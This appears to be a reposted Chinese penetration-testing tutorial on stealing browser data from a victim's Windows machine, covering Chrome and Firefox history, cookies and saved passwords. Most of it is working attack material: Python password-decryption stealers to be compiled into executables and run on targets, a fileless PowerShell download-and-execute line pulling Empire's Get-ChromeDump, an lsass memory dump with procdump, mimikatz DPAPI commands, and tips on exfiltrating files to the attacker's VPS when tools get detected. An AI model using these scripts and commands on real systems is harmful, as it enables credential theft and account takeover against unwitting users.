13.瀏覽器信息收集(Chrome、Firefox)


一、受害機Google Chrome瀏覽器信息收集

 

1、前言:

 

  瀏覽器存放着非常多有價值的信息,包括瀏覽記錄、存放的密碼、書簽。而Google chrome可謂是桌面瀏覽器界的巨頭。但是chrome瀏覽器的加密從80版本后有所變化,80版之前是用DPAPI,80版本之后用的是AES,因此解密的方法也不一樣。

 

2、chrome書簽的信息提取:

 

Chrome存放書簽的文件名是:bookmarks

 

 

 

該⽂件存於瀏覽器⽬錄的 \UserData\Default\,全路徑位於 %appdata%\..\local\Google\chrome\User Data\Default\

 

 

滲透信息收集時最好把文件復制到其他目錄:

copy %appdata%\..\local\Google\chrome\User Data\Default\Bookmarks c:\windows\tmp\Bookmark

 

3、chrome瀏覽器瀏覽記錄及cookie:

 

① 路徑

瀏覽記錄是存放在history文件中,全路徑:C:\Users\Administrator\AppData\Roaming\..\local\Google\chrome\UserData\Default下的history文件,而cookie是在同目錄下的cookie文件

開啟前記得也要先復制到其他目錄:copy %appdata%\..\local\Google\chrome\UserData\Default\History c:\windows\temp\History

 

② 打開方法:

首先下載一個SQLiteStudio,然后把復制好的cookie或者history拖拽至左邊的框內,再點擊urls數據即可

 

當然,如果只想看history的話,這邊還推薦chrome history manage,可以直接百度整一個

 

4、chrome瀏覽器的保存的密碼(低於80.0版本):

 

① 版本查看:

 

② 利用SQLiteStudio:

保存文件的路徑為:%appdata%\..\local\Google\chrome\User Data\Default\Login data

打開文件后發現又是這一串東西:

 

因此我們可以用SQLiteStudio把復制好的Login data拖拽拖拽進去查看數據:

 

但是我們發現password沒出來,這⼀串是加密過后的密⽂,然后使⽤相關函數解密就可以了,就跟base64加密解密差不多,差的是瀏覽器加密會⽤到windows⽤⼾登錄后的憑據,所以沒有憑據是⽆法解密的。具體涉及到的函數是 CryptProtectData,這意味單純把這個⽂件傳回本地解密是沒有⽤的,所以我們⼀般是利⽤python寫好腳本,然后打包成exe上傳到⽬標機器執⾏來獲取瀏覽器的明⽂密碼的

 

③ 利用python:

 

from os import getenv

import sqlite3

import win32crypt

import binascii

conn = sqlite3.connect(getenv("APPDATA") + "\\..\\Local\\Google\\Chrome\\UserData\\Default\\LoginData")

cursor = conn.cursor()

cursor.execute('SELECT action_url, username_value, password_value FROM logins')

for result in cursor.fetchall():

    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]

    if password:

        print( 'Site: ' + result[0])

        print( 'Username: ' + result[1])

        print( 'Password: ' + password)

    else:

        print( "no password found")

 

該python版本是不夠成熟的,我們要做⼀些智能化的判斷和操作,⽐如復制⽂件到其他⽬錄再connect,判斷⽂件是存在之類的,還有就是對內容進⾏提取的時候可以多選⼏個⾃⼰感興趣的項,⽐如創建時間。打包的命令是:pyinstaller -F -w chrome.py,⾄於pyinstaller的更加詳細的東西可以看:http://c.biancheng.net/view/2690.html

 

④ 利用Powershell:

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ChromeDump.ps1

需要⽬標關閉瀏覽器,可修改腳本為先復制再獲取明⽂。

 

文件落地(如果目標機器不能出網,只能文件落地了):

Powershell –exec bypass –Command "& {Import-Module 'C:\Users\Hacker\Desktop\Get-ChromeDump.ps1';Get-ChromeDump -OutFile "chromepwds.txt"}

 

 

無文件落地

powershell IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ChromeDump.ps1');Get-ChromeDump -OutFile chromepwds.txt

 

4、chrome瀏覽器的保存的密碼(高於80.0版本):

 

解密腳本一:

https://github.com/agentzex/chrome_v80_password_grabber

直接執行就完事了

 

解密腳本二:

https://github.com/cckuailong/HackChrome

 

 

二、離線獲取Google Chrome瀏覽器保存的密碼

 

 

 

1、離線獲取的意義:

當我們的工具無法免殺的時候,就選擇把文件拖回來吧,但是需要配合其他東西來獲取明文密碼。

 

2、DPAPI和Master Key

 

DPAPI引文全稱:Data Protection API,顧名思義,就是用來保護數據接口的,這個接口在Windows中被大量使用來加密數據,比如我們接下來的目的:chrome的cookies和login data

①  DPAPI使用了一種名為Master Key的東西來加密,Master Key並不存在磁盤上,而是通過用戶的密碼HASH加密生成

②  Master Key的第一種實現方式是用用戶的NTLM HASH來加密,由於NTLM HASH在Windows中有着各種重要的作用,而且NTLM HASH是存儲在SAM文件中的,因此只要攻擊者獲取到HASH就可以用來生成Master Key,從而解密數據了;為了防止以上事件的發生,就誕生了第二種實現方式:直接使用用戶密碼生成,函數:SHA-1(UTF16LE(user_password)),就算攻擊者獲取到NTLM,如果不能解密出用戶的密碼,就不能生成Master Key,因此我們一般都是在內存中提取出來的。

 

3、離線獲取密碼的方式(低於v80)

①  獲取目標內存【procdump】

 

 procdump64.exe -accepteula -ma lsass.exe lsass.dmp

 

 

 

②  獲取login data的密碼密文並將內容保存在txt內

 

先下載一個pyinstaller,然后用下面這串python生成一個exe,放到對方機器上執(pyinstaller -F -w 1.py):

 

from os import getenv

import sqlite3

import binascii

conn = sqlite3.connect("Login Data")

cursor = conn.cursor()

cursor.execute('SELECT action_url, username_value, password_value FROM logins')

for result in cursor.fetchall():

    print (binascii.b2a_hex(result[2]))

    f = open('test.txt','wb')

    f.write(result[2])

    f.close()

 

這里要注意了,如果你的python版本高於3.6,而對方機器比較老沒打KB2533263補丁(因為python高版本對系統有要求),就會像下圖一樣報錯,這時要么幫他打補丁要么用低版本的python生成exe,該怎么做你們懂的:

 

 

執行exe(別忘了把login data復制出來放在同一目錄下再執行),文件就出來了,可喜可賀,接下來就是想辦法把兩個文件弄回我們的vps:

 

 

③  把dump回來的內存用mimikatz解析

 

sekurlsa::minidump lsass.dmp

sekurlsa::dpapi

 

 

④  直接解密密文

 

dpapi::blob/in:test.txt

 

 

⑤  解碼成明文

去掉空格,然后去一些在線網站解密,例如:https://tool.lu/hexstr/

 

3、離線獲取密碼的方式(高於v80)

 

離線其實也是根據已有的在線解密python代碼來搞的

 

關鍵點在於Master Key的獲取,在線腳本的代碼時直接從內存獲取的,剩下的就是利用Master Key來解密了,所以我們只要從目標提取到Master Key,然會下載回本地,加載進原來的代碼運行就可以了。

 

①提取Master Key並寫入txt(目標機器上執行)

 

import win32crypt

import os

import json

import base64

 

with open(os.environ['USERPROFILE'] + os.sep + r'AppData\\Local\\Google\\Chrome\\User Data\\Local State', "r") as f:

    local_state = f.read()

    local_state = json.loads(local_state)

master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])

master_key_w_Cry = master_key[5:]

master_key = win32crypt.CryptUnprotectData(master_key_w_Cry, None, None, None, 0)[1]

print(master_key)

with open("masterkey.txt",'wb') as msf:

msf.write(master_key)

 

 

②  加載Master Key解密密碼密文(把文件弄回vps執行)

 

import os

import json

import base64

import sqlite3

import win32crypt

from Crypto.Cipher import AES

import shutil

 

def get_master_key():

    with open("masterkey.txt",'rb') as msf:

        buf = msf.read()

        print(buf)

        return buf

 

def decrypt_payload(cipher, payload):

    return cipher.decrypt(payload)

 

def generate_cipher(aes_key, iv):

    return AES.new(aes_key, AES.MODE_GCM, iv)

 

def decrypt_password(buff, master_key):

    try:

        iv = buff[3:15]

 

        payload = buff[15:]

        cipher = generate_cipher(master_key, iv)

        decrypted_pass = decrypt_payload(cipher, payload)

        decrypted_pass = decrypted_pass[:-16].decode() #remove suffixbytes

        return decrypted_pass

    except Exception as e:

        #print("Probably saved password from Chrome version older than v80\n")

        #print(str(e))

        return "Chrome<80"

 

if __name__ == '__main__':

 

    master_key = get_master_key()

    conn = sqlite3.connect("Login Data")

    cursor = conn.cursor()

 

    try:

        cursor.execute("SELECT action_url, username_value, password_value FROM logins")

        for r in cursor.fetchall():

            url = r[0]

            username = r[1]

            encrypted_password = r[2]

            print(encrypted_password)

            decrypted_password = decrypt_password(encrypted_password, master_key)

            print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")

    except Exception as e:

        print('error')

        pass

 

    cursor.close()

    conn.close()

    try:

        os.remove("Loginvault.db")

    except Exception as e:

        pass

 

這個腳本需要在cmd執行,為了方便查看我們把它從定向到txt文件:

 

 

 

 

三、受害機firefox瀏覽器信息收集【高於58.0.1】:

 

 

1、獲取Firefox的歷史記錄:

歷史記錄存儲在places.sqlite數據庫文件的moz_place表內,默認是:C:\User\<username>\AppData\Roaming\Mozilla\Firefox\<profile folder>,可以用命令尋找:dir %APPDATA%\Mozilla\Firefox\Profiles\*places.sqlite /s /b

 

 

 

由於該文件是sqlite數據庫,所以直接用SQLiteStudio打開就行:

 

 

也可以用工具:https://cdn.securityxploded.com/download/FirefoxHistorySpy.zip

 

也可用用代碼:

 

 

 

2、獲取Firefox的cookie:

Cookie也是記錄在places.sqlite數據庫文件的moz_place表內,可以用命令尋找:dir %APPDATA%\Mozilla\Firefox\Profiles\*cookies.sqlite /s /b

 

可用代碼:

 

 

 

 

3、離線獲取Firefox的保存的密碼:

 

Firefox的密碼存儲在logins.json中,但僅有該文件無法解密,我們還需要弄到key.db幫助我們獲取密碼

 

logins.json:

dir %APPDATA%\Mozilla\Firefox\Profiles\*logins.json /s /b

 

key.db:

dir %APPDATA%\Mozilla\Firefox\Profiles\*key4.db /s /b

 

將logins.json和key.db復制到我們的桌面后,我們可以執行python3 firepwd.py -d c:\users\ASUS \desktop\,就能獲取密碼了:

 

 

firepwd.py的下載地址:https://github.com/lclevy/firep


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM